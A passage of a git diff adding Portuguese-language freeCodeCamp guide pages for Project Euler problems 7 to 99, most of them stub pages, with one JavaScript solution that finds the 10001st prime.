+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-7-10001st-prime/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-7-10001st-prime/index.md
new file mode 100644
index 0000000000..8c974c6ce0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-7-10001st-prime/index.md
@@ -0,0 +1,56 @@
+---
+title: 10001st prime
+localeTitle: 10001st prime
+---
+## Problema 7: prime 10001
+
+### Método:
+
+*   Um número primo é um número dividido por 1 e por ele mesmo.
+*   Podemos achar que um número é primo se não for divisível por outros números primos menores do que ele.
+
+### Solução:
+
+```js
+function nthPrime(n) { 
+ 
+  //Primes array which will store all the prime numbers 
+  const primes = [2]; 
+ 
+  //Num is the number we want to check 
+  let num = 3, isPrime = true; 
+ 
+  //Looping until primes array is equal to n 
+  while (primes.length < n){ 
+ 
+    //All the primes numbers of a number is always <= it's square root 
+    let max = Math.ceil(Math.sqrt(num)); 
+ 
+    for (let i = 0; primes[i] <= max; i++){ 
+      if (num % primes[i] == 0) { 
+ 
+        //Looping till we find the prime 
+        isPrime = false; 
+        break; 
+      } 
+    } 
+ 
+    //if Prime found, push it to the array 
+    if (isPrime) primes.push(num); 
+    isPrime = true; 
+ 
+    //An optimization technique, since we know of all even numbers only 2 is a prime number, we can skip the rest 
+    num+=2; 
+  } 
+ 
+  //Returning the last number 
+  return primes[primes.length-1]; 
+ 
+ } 
+```
+
+\- [Executar código](https://repl.it/@ezioda004/Project-Euler-Problem-7-10001st-prime)
+
+### Referências:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Prime_number)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md
new file mode 100644
index 0000000000..b806243c9f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient permutation
+localeTitle: permutação totiente
+---
+## Problema 70: permutação de Totiente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-70-totient-permutation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md
new file mode 100644
index 0000000000..6866e92402
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md
@@ -0,0 +1,9 @@
+---
+title: Ordered fractions
+localeTitle: Frações ordenadas
+---
+## Problema 71: Frações Ordenadas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-71-ordered-fractions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md
new file mode 100644
index 0000000000..01d22b2fdf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting fractions
+localeTitle: Contando frações
+---
+## Problema 72: Contando Frações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-72-counting-fractions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md
new file mode 100644
index 0000000000..b4045d71ff
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting fractions in a range
+localeTitle: Contando frações em um intervalo
+---
+## Problema 73: Contando frações em um intervalo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-73-counting-fractions-in-a-range/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md
new file mode 100644
index 0000000000..e42dbb2ba2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit factorial chains
+localeTitle: Cadeias de Fatores Digitais
+---
+## Problema 74: Cadeias de Fatores Digitais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-74-digit-factorial-chains/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md
new file mode 100644
index 0000000000..f8f853cf1a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Singular integer right triangles
+localeTitle: Triângulos retos inteiros
+---
+## Problema 75: Triângulos retos inteiros singulares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-75-singular-integer-right-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md
new file mode 100644
index 0000000000..9a2e8791d3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting summations
+localeTitle: Contando resumos
+---
+## Problema 76: Contando Summations
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-76-counting-summations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md
new file mode 100644
index 0000000000..7e0971f6d3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime summations
+localeTitle: Summações primárias
+---
+## Problema 77: Summações Principais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-77-prime-summations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md
new file mode 100644
index 0000000000..704af9736b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md
@@ -0,0 +1,9 @@
+---
+title: Coin partitions
+localeTitle: Partições de moeda
+---
+## Problema 78: partições de moeda
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-78-coin-partitions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md
new file mode 100644
index 0000000000..d3c81480e2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md
@@ -0,0 +1,9 @@
+---
+title: Passcode derivation
+localeTitle: Derivação de código de acesso
+---
+## Problema 79: derivação de código de acesso
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-79-passcode-derivation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md
new file mode 100644
index 0000000000..4115ba6cd6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest product in a series
+localeTitle: Maior produto de uma série
+---
+## Problema 8: Maior produto de uma série
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-8-largest-product-in-a-series/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md
new file mode 100644
index 0000000000..0f0e2a1881
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md
@@ -0,0 +1,9 @@
+---
+title: Square root digital expansion
+localeTitle: Expansão digital da raiz quadrada
+---
+## Problema 80: Expansão Digital da Raiz Quadrada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-80-square-root-digital-expansion/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md
new file mode 100644
index 0000000000..f648da10c5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md
@@ -0,0 +1,9 @@
+---
+title: Path sum - two ways
+localeTitle: Soma do caminho - duas maneiras
+---
+## Problema 81: Soma do caminho: duas maneiras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-81-path-sum-two-ways/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md
new file mode 100644
index 0000000000..25ea42b985
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md
@@ -0,0 +1,9 @@
+---
+title: Path sum - three ways
+localeTitle: Soma do caminho - três maneiras
+---
+## Problema 82: Soma do caminho: três maneiras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md
new file mode 100644
index 0000000000..c3ac25e22d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md
@@ -0,0 +1,9 @@
+---
+title: Path sum - four ways
+localeTitle: Soma do caminho - quatro maneiras
+---
+## Problema 83: Soma do caminho: quatro maneiras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md
new file mode 100644
index 0000000000..a99f43ca95
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md
@@ -0,0 +1,9 @@
+---
+title: Monopoly odds
+localeTitle: Probabilidades do monopólio
+---
+## Problema 84: Probabilidades do monopólio
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md
new file mode 100644
index 0000000000..47c5f22833
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting rectangles
+localeTitle: Contando retângulos
+---
+## Problema 85: Contando Retângulos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md
new file mode 100644
index 0000000000..94809f4472
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md
@@ -0,0 +1,9 @@
+---
+title: Cuboid route
+localeTitle: Rota cubóide
+---
+## Problema 86: Rota Cubóide
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md
new file mode 100644
index 0000000000..f2d094b553
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime power triples
+localeTitle: Potência Prime triplica
+---
+## Problema 87: Potência Prime triplica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md
new file mode 100644
index 0000000000..1e6d71ada4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Product-sum numbers
+localeTitle: Números de soma do produto
+---
+## Problema 88: Números de soma do produto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md
new file mode 100644
index 0000000000..d3c85f8ff8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md
@@ -0,0 +1,9 @@
+---
+title: Roman numerals
+localeTitle: números romanos
+---
+## Problema 89: algarismos romanos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md
new file mode 100644
index 0000000000..51f24c8a06
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md
@@ -0,0 +1,9 @@
+---
+title: Special Pythagorean triplet
+localeTitle: Trigêmeo pitagórico especial
+---
+## Problema 9: trigêmeo pitagórico especial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md
new file mode 100644
index 0000000000..b0f81aee16
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md
@@ -0,0 +1,9 @@
+---
+title: Cube digit pairs
+localeTitle: Pares de dígitos do cubo
+---
+## Problema 90: Pares de dígitos do cubo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md
new file mode 100644
index 0000000000..9c9d7a2ee1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md
@@ -0,0 +1,9 @@
+---
+title: Right triangles with integer coordinates
+localeTitle: Triângulos retos com coordenadas inteiras
+---
+## Problema 91: Triângulos retos com coordenadas inteiras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md
new file mode 100644
index 0000000000..98c40c12b7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Square digit chains
+localeTitle: Correntes de dígitos quadrados
+---
+## Problema 92: Correntes de dígitos quadrados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md
new file mode 100644
index 0000000000..0c90571488
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md
@@ -0,0 +1,9 @@
+---
+title: Arithmetic expressions
+localeTitle: Expressões aritméticas
+---
+## Problema 93: Expressões Aritméticas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md
new file mode 100644
index 0000000000..7a39a223a4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost equilateral triangles
+localeTitle: Triângulos quase equiláteros
+---
+## Problema 94: Triângulos quase equiláteros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md
new file mode 100644
index 0000000000..225cae9be0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Amicable chains
+localeTitle: Cadeias amigáveis
+---
+## Problema 95: Correntes Amigáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md
new file mode 100644
index 0000000000..297c3649c4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md
@@ -0,0 +1,9 @@
+---
+title: Su Doku
+localeTitle: Su Doku
+---
+## Problema 96: Su Doku
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md
new file mode 100644
index 0000000000..a769ef02f9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md
@@ -0,0 +1,9 @@
+---
+title: Large non-Mersenne prime
+localeTitle: Grande não-Mersenne prime
+---
+## Problema 97: Grande não primo de Mersenne
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md
new file mode 100644
index 0000000000..861aac40be
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Anagramic squares
+localeTitle: Quadrados anagráficos
+---
+## Problema 98: Quadrados anagráficos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md
new file mode 100644
index 0000000000..a8f5ffbcfa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest exponential
+localeTitle: Maior exponencial
+---
+## Problema 99: Maior exponencial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/100-doors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/100-doors/index.md
new file mode 100644
index 0000000000..90effa2de4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/100-doors/index.md
@@ -0,0 +1,9 @@
+---
+title: 100 doors
